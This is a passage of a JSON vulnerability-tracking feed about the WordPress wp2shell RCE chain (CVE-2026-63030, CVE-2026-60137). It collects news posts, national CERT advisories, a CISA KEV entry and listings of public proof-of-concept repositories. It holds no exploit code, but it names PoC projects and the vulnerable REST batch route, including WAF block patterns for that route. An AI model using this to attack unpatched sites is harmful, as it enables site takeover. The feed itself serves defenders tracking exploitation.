\u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043e\u0431\u0435\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e WAF \u043d\u0430 \u0432\u0441\u0435\u0445 \u0442\u0430\u0440\u0438\u0444\u043d\u044b\u0445 \u043f\u043b\u0430\u043d\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0435\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cloudflare, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 (CVE-2026-60137), \u0442\u0430\u043a \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API (CVE-2026-63030). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430\u0449\u0438\u0442\u0430 WAF \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0440\u0438\u0441\u043a\u0438 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043f\u0430\u0442\u0447\u0435\u0439.", "url": "https://t.me/true_secator/8423"}, {"timestamp": "2026-07-21T00:00:38.937Z", "date_only": false, "value": "2026-07-21T00:00:38.937815Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94301", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d418047b-4348-4ffc-a51b-df6773b573b3", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dinosn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 31  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 8\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 09:43:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nNon-destructive detector + Docker lab for wp2shell (CVE-2026-63030 REST /batch/v1 route confusion + CVE-2026-60137 author__not_in SQLi) in WordPress core 6.9.0-6.9.4 / 7.0.0-7.0.1\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94301"}, {"timestamp": "2026-07-21T00:00:39.190Z", "date_only": false, "value": "2026-07-21T00:00:39.190084Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/information_security_channel/55596", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "3243517e-f671-4785-bf99-cff1e73af8b9", "content": "WP2Shell WordPress Vulnerabilities Exploited in the Wild\nhttps://www.securityweek.com/wp2shell-wordpress-vulnerabilities-exploited-in-the-wild/\n\nExploitation of the new WordPress vulnerabilities tracked as CVE-2026-60137 and CVE-2026-63030 started soon after disclosure.\nThe post WP2Shell WordPress Vulnerabilities Exploited in the Wild (https://www.securityweek.com/wp2shell-wordpress-vulnerabilities-exploited-in-the-wild/) appeared first on SecurityWeek (https://www.securityweek.com/).", "url": "https://t.me/information_security_channel/55596"}, {"timestamp": "2026-07-21T00:00:39.626Z", "date_only": false, "value": "2026-07-21T00:00:39.626353Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94276", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "b58c59d8-e718-461a-806b-d70d0af579d1", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Crypto-Cat\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 08:26:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-63030 + CVE-2026-60137, AKA WP2Shell\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94276"}, {"timestamp": "2026-07-21T00:00:39.827Z", "date_only": false, "value": "2026-07-21T00:00:39.827160Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94261", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "452f07df-a571-410f-a7ce-0d333e21b7e2", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-scan\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a InstaWP\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 06:27:01\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDetect & clean up wp2shell (CVE-2026-63030) WordPress compromise \u2014 bulk-runnable, read-only by default\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94261"}, {"timestamp": "2026-07-21T00:00:39.910Z", "date_only": false, "value": "2026-07-21T00:00:39.910227Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94260", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "3463cde3-9844-4e44-bafa-d3d9d22a5fa5", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-checker\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 0xjessie21\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 06:44:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress Core Unauthenticated RCE (CVE-2026-63030, CVE-2026-60137)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94260"}, {"timestamp": "2026-07-21T00:00:39.954Z", "date_only": false, "value": "2026-07-21T00:00:39.954538Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94250", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a99fbfee-658c-4ae9-aca9-61ea40a15047", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a EXPLOIT-CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a joaovicdev\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 04:59:00\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94250"}, {"timestamp": "2026-07-21T00:00:40.138Z", "date_only": false, "value": "2026-07-21T00:00:40.138826Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94222", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "6edcb8ce-caf1-4c92-9f0b-f2ba1eb361d3", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wordpress-skelersecurity-core-security-CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a skelersecurity\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 19:21:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThe wp2shell vulnerability chain represents one of the most significant WordPress Core security issues in recent years. Because exploitation begins with an unauthenticated request and can ultimately result in Remote Code Execution, organizations should treat remediation as an emergency.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94222"}, {"timestamp": "2026-07-21T00:00:40.181Z", "date_only": false, "value": "2026-07-21T00:00:40.181085Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94233", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "986eb9bb-84a8-488f-82e1-bb9bddd68086", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a administrator-01001\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 01:38:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProof-of-concept exploit for CVE-2026-63030, a pre-authentication vulnerability in WordPress (versions 6.9.0 through 7.0.1).\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94233"}, {"timestamp": "2026-07-21T00:00:40.267Z", "date_only": false, "value": "2026-07-21T00:00:40.267172Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94159", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "67db0d8c-02cf-40ce-bb4c-c02d9aa99598", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a N45HT\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-19 14:57:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n[CVE-2026-63030/CVE-2026-60137] Pre Authentication RCE in WordPress Core\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94159"}, {"timestamp": "2026-07-21T00:01:17.827Z", "date_only": false, "value": "2026-07-21T00:01:17.827736Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/bugxhunter.bsky.social/post/3mr4iwh5qor2h", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "058d2231-291e-4986-8c72-a94dfa012449", "content": "\ud83e\udd16 WordPress Exploitation Underway (CVE-2026-63030), (Mon, Jul 20th)\n\n\ud83d\udcdd Last week, Searchlight Cyber released details about a vulnerability they are calling "wp2shell". The vulner...\n\nhttps://isc.sans.edu/diary/rss/33168\n\n\ud83d\udcf0 SANS Internet Storm Center, InfoCON: green\n\n#AI #CVE #ZeroDay", "url": "https://bsky.app/profile/bugxhunter.bsky.social/post/3mr4iwh5qor2h"}, {"timestamp": "2026-07-21T00:07:53.041Z", "date_only": false, "value": "2026-07-21T00:07:53.041450Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4jcab6g42c", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "51d889ea-d875-4ca2-a092-8ebf35ee98ee", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4jcab6g42c"}, {"timestamp": "2026-07-21T00:29:26.242Z", "date_only": false, "value": "2026-07-21T00:29:26.242272Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4kiqgubj2k", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "f47aa2b7-d581-468f-a9c9-c63bcb2990b4", "content": "\ud83d\udc1b Exploitation in the Wild of wp2shell\n\nhttps://www.wiz.io/blog/wp2shell-cve-2026-63030-cve-2026-60137\n\n#CVE #CyberSecurity", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr4kiqgubj2k"}, {"timestamp": "2026-07-21T01:00:54.555Z", "date_only": false, "value": "2026-07-21T01:00:54.555579Z", "kind": "sighting", "label": "Seen", "source": "https://www.cert.at/de/warnungen/2026/7/kritische-sicherheitslucken-in-wordpress-updates-verfugbar", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d26fe2d0-79f7-4f96-a069-ff9f30444f6f", "content": "20. Juli 2026\n\nBeschreibung\n\nIn WordPress existieren zwei Sicherheitslücken. Eine SQL-Injection-Schwachstelle im Parameter „author__not_in“ von „WP_Query“ betrifft WordPress ab Version 6.8. Ab WordPress 6.9 lässt sich diese laut Advisory in Kombination mit einer Schwachstelle in der REST-API (Batch-Route-Confusion) zur Ausführung von beliebigem Code (Remote Code Execution) ausnutzen. Laut Searchlight Cyber ist diese Angriffskette ohne vorherige Authentifizierung und ohne weitere Voraussetzungen in einer Standardinstallation ohne Plugins nutzbar.\n\nAuf GitHub sind mittlerweile mehrere öffentlich verfügbare Proof-of-Concept-Exploits für CVE-2026-63030 veröffentlicht worden. Damit ist der Aufwand für eine Ausnutzung deutlich reduziert; CERT.at rechnet mit Angriffen auf ungepatchte Systeme.\n\nCVE-Nummer(n): CVE-2026-60137, CVE-2026-63030\n\nCVSS Base Score: N/A (Einstufung im GitHub Security Advisory: CVE-2026-60137 „Moderate“, CVE-2026-63030 „Critical“)\n\nAuswirkungen\n\nIn Kombination mit der Schwachstelle in der REST-API ist ab WordPress 6.9 die Ausführung von beliebigem Code auf dem betroffenen System, und damit eine vollständige Kompromittierung der Webseite und des darunterliegenden Systems möglich.\n\nBetroffene Systeme\n\nCVE-2026-60137 (SQL Injection):\n\n\n\nWordPress 6.8.0 bis 6.8.5\n\nWordPress 6.9.0 bis 6.9.4\n\nWordPress 7.0.0 bis 7.0.1\n\n\nCVE-2026-63030 (REST-API Batch-Route-Confusion, RCE):\n\n\n\nWordPress 6.9.0 bis 6.9.4\n\nWordPress 7.0.0 bis 7.0.1\n\nWordPress 7.1 Beta 1\n\n\nWordPress-Versionen vor 6.8 sind nicht betroffen.\n\nAbhilfe\n\nWordPress hat korrigierte Versionen veröffentlicht:\n\n\n\nWordPress 7.0.2 (behebt beide Schwachstellen)\n\nWordPress 6.9.5 (behebt beide Schwachstellen)\n\nWordPress 6.8.6 (behebt CVE-2026-60137)\n\nWordPress 7.1 Beta 2 (behebt beide Schwachstellen)\n\n\nCERT.at empfiehlt, die Aktualisierung umgehend einzuspielen. Das WordPress.org-Team hat für betroffene Versionen erzwungene Updates über das Auto-Update-System aktiviert.\n\nSofern ein Update nicht unmittelbar möglich ist, nennt Searchlight Cyber folgende temporäre Maßnahmen: Deaktivierung der REST-API für nicht authentifizierte Benutzer:innen, Blockieren des Pfads „/wp-json/batch/v1“ sowie des Query-Parameters „rest_route=/batch/v1“ mittels Web Application Firewall (beide Muster müssen blockiert werden), oder Einsatz eines Plugins, das Batch-Requests an die REST-API nur für authentifizierte Benutzer:innen zulässt. Diese Maßnahmen können den regulären Betrieb der Webseite beeinträchtigen und sind nur als temporäre Notmaßnahme bis zum Update vorgesehen.\n\nHinweis\n\nGenerell empfiehlt CERT.at, sämtliche Software aktuell zu halten und dabei insbesondere auf automatische Updates zu setzen. Regelmäßige Neustarts stellen sicher, dass diese auch zeitnah aktiviert werden.\n\n\n\nInformationsquelle(n):\n\nWordPress 7.0.2 Release (Englisch)https://wordpress.org/news/2026/07/wordpress-7-0-2-release/\n\nFacilitated SQL injection vulnerability in the author__not_in parameter of WP_Query (Englisch)https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf\n\nREST API batch-route confusion and SQL injection issue leading to Remote Code Execution (Englisch)https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q\n\nwp2shell: Pre Authentication RCE in WordPress Core (Englisch)https://wp2shell.com/\n\nNew wp2shell WordPress Core Flaw Lets Unauthenticated Attackers Run Code (Englisch)https://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html", "url": "https://www.cert.at/de/warnungen/2026/7/kritische-sicherheitslucken-in-wordpress-updates-verfugbar"}, {"timestamp": "2026-07-21T01:00:55.228Z", "date_only": false, "value": "2026-07-21T01:00:55.228568Z", "kind": "sighting", "label": "Seen", "source": "https://www.darkreading.com/cyberattacks-data-breaches/wp2shell-millions-wordpress-sites-remote-takeover", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "89f9e8d5-9f16-4d31-ae2a-0e05ba4f674a", "content": "Barely three days after disclosure, attackers are widely chaining together CVE-2026-60137 and CVE-2026-63030 to lob exploit attempts against one of the largest attack surfaces on the Internet.", "url": "https://www.darkreading.com/cyberattacks-data-breaches/wp2shell-millions-wordpress-sites-remote-takeover"}, {"timestamp": "2026-07-21T01:50:16.047Z", "date_only": false, "value": "2026-07-21T01:50:16.047359Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mr4ozc5zwe2w", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "c568273b-d7ec-4e40-8c0f-ca804c97e78c", "content": "wp2shell, a WordPress Core RCE chain (CVE-2026-63030, CVE-2026-60137), is exploited in the wild. Public PoC code is out. Patch WordPress now.\n\n#wp2shell #WordPress #RCE #CVE202663030 #CVE202660137 #InfoSec #WebSecurity #PatchNow", "url": "https://bsky.app/profile/securityonline.bsky.social/post/3mr4ozc5zwe2w"}, {"timestamp": "2026-07-21T03:11:05.427Z", "date_only": false, "value": "2026-07-21T03:11:05.427975Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mr4tjtiext2v", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "1b7f5733-da79-42ac-b132-978e2623a368", "content": "WordPress Gets RCE\u2019d, and the Internet Pretends This Wasn\u2019t Predictable\nPANIC 82% | Lag 0.0h | wp2shell is an exploited WordPress Core remote code execution chain involving CVE-2026-63030 and CVE\n#AfterShockIndex\nREAD MORE", "url": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mr4tjtiext2v"}, {"timestamp": "2026-07-21T04:04:08.323Z", "date_only": false, "value": "2026-07-21T04:04:08.323174Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mr4wiof4u42s", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9b9bdd39-69b4-4d4b-be2f-fd833f2b2abc", "content": "~Akamai~\nUnauthenticated SQLi via WordPress REST Batch API escalates to full RCE on default installations.\n-\nIOCs: CVE-2026-63030, CVE-2026-60137\n-\n#CVE202663030 #RCE #ThreatIntel #WordPress", "url": "https://bsky.app/profile/cyfar.ca/post/3mr4wiof4u42s"}, {"timestamp": "2026-07-21T04:50:54.849Z", "date_only": false, "value": "2026-07-21T04:50:54.849497Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mr4z4d3u232r", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "28f9d16c-3023-4159-a228-33c05517185b", "content": "Top 3 CVE for last 7 days:\nCVE-2026-63030: 65 interactions\nCVE-2026-60137: 51 interactions\nCVE-2026-58532: 47 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-63030: 35 interactions\nCVE-2026-60137: 28 interactions\nCVE-2026-42533: 10 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mr4z4d3u232r"}, {"timestamp": "2026-07-21T05:00:06.450Z", "date_only": false, "value": "2026-07-21T05:00:06.450457Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94415", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e1c232f8-7954-4d24-8d25-318dc3c09fa9", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-63030-Wp2Shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a GhostInExile\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 4  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-21 03:28:54\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress REST API SQLi to RCE (CVE-2026-63030)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94415"}, {"timestamp": "2026-07-21T06:25:43.979Z", "date_only": false, "value": "2026-07-21T06:25:43.979650Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mr56futihw2z", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7ec62011-3af8-4eb6-aa03-e76e7baa22ba", "content": "\ud83e\udd16 CVE-2026-60137 + CVE-2026-63030 (WP2Shell): Two critical WordPress core flaws actively exploited. SQLi + REST API confusion enables unauthenticated RCE on millions of sites. PoC public. Patch now.\nhttps://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html", "url": "https://bsky.app/profile/newssecia.bsky.social/post/3mr56futihw2z"}, {"timestamp": "2026-07-21T10:00:53.807Z", "date_only": false, "value": "2026-07-21T10:00:53.807266Z", "kind": "sighting", "label": "Seen", "source": "https://thehackernews.com/2026/07/wordpress-wp2shell-exploitation-grows.html", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "aaa4381d-a655-48d8-9e15-7ef89ef69eba", "content": "Attackers have begun to exploit two critical vulnerabilities in WordPress that, when combined together, enable unauthenticated remote code execution (RCE) and complete compromise of vulnerable websites.\n\nThe two security flaws, tracked as CVE-2026-63030 and CVE-2026-60137, have been codenamed wp2shell.\n\n\"By the early hours of Saturday morning (UTC), successful exploitation was already well", "url": "https://thehackernews.com/2026/07/wordpress-wp2shell-exploitation-grows.html"}, {"timestamp": "2026-07-21T11:14:18.776Z", "date_only": false, "value": "2026-07-21T11:14:18.776526Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mr5ojuv4iq2o", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9c81825e-67b8-40da-aae4-4ece5cb23355", "content": "WordPress\u306b2\u3064\u306e\u8106\u5f31\u6027(CVE-2026-63030, CVE-2026-60137)\u304c\u767a\u898b\u3055\u308c\u3001\u672a\u8a8d\u8a3c\u306eRCE\u3068\u30a6\u30a7\u30d6\u30b5\u30a4\u30c8\u306e\u5b8c\u5168\u306a\u4e57\u3063\u53d6\u308a\u304c\u53ef\u80fd\u3002wp2shell\u3068\u3057\u3066\u77e5\u3089\u308c\u308b\u3002", "url": "https://bsky.app/profile/postac001.bsky.social/post/3mr5ojuv4iq2o"}, {"timestamp": "2026-07-21T12:15:03.590Z", "date_only": false, "value": "2026-07-21T12:15:03.590336Z", "kind": "sighting", "label": "Seen", "source": "https://www.cert.si/si-cert-2026-04", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "8ff59802-0072-446b-b655-feb2f5c30d83", "url": "https://www.cert.si/si-cert-2026-04"}, {"timestamp": "2026-07-21T12:45:05.170Z", "date_only": false, "value": "2026-07-21T12:45:05.170188Z", "kind": "sighting", "label": "Seen", "source": "https://www.ncsc.nl/alerts/ernstige-kwetsbaarheden-in-wordpress-core-installeer-updates", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "030ef36a-c265-489e-91c1-070adea05821", "url": "https://www.ncsc.nl/alerts/ernstige-kwetsbaarheden-in-wordpress-core-installeer-updates"}, {"timestamp": "2026-07-21T14:50:06.881Z", "date_only": false, "value": "2026-07-21T14:50:06.881836Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mr62lrpdjh2h", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "2c1b0a3b-8213-40dc-a9b8-6f9eaf297388", "content": "\ud83d\uded1 CVE-2026-63030\nWordPress Core\nCVSS 9.8 / EPSS 9% / KEV: No\nTL;DR: WordPress 6.9.x before 6.9.5 and 7.0.x before 7.0.2 is affected by a REST API batch endpoint\u2026\nhttps://cvesentinel.com/report/CVE-2026-63030?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "url": "https://bsky.app/profile/cvesentinel.bsky.social/post/3mr62lrpdjh2h"}, {"timestamp": "2026-07-21T15:00:01Z", "date_only": false, "value": "2026-07-21T15:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "cisa-kev", "record": "CVE-2026-63030", "field": "timestamps.recorded_at", "uuid": "5262bec6-e720-4659-ba72-07c4d7008d00", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-21T15:00:01.751Z", "date_only": false, "value": "2026-07-21T15:00:01.751800Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5262bec6-e720-4659-ba72-07c4d7008d00", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e1fd2895-5984-4ddd-ae17-a8bfa653f799", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5262bec6-e720-4659-ba72-07c4d7008d00"}, {"timestamp": "2026-07-21T16:05:00.136Z", "date_only": false, "value": "2026-07-21T16:05:00.136580Z", "kind": 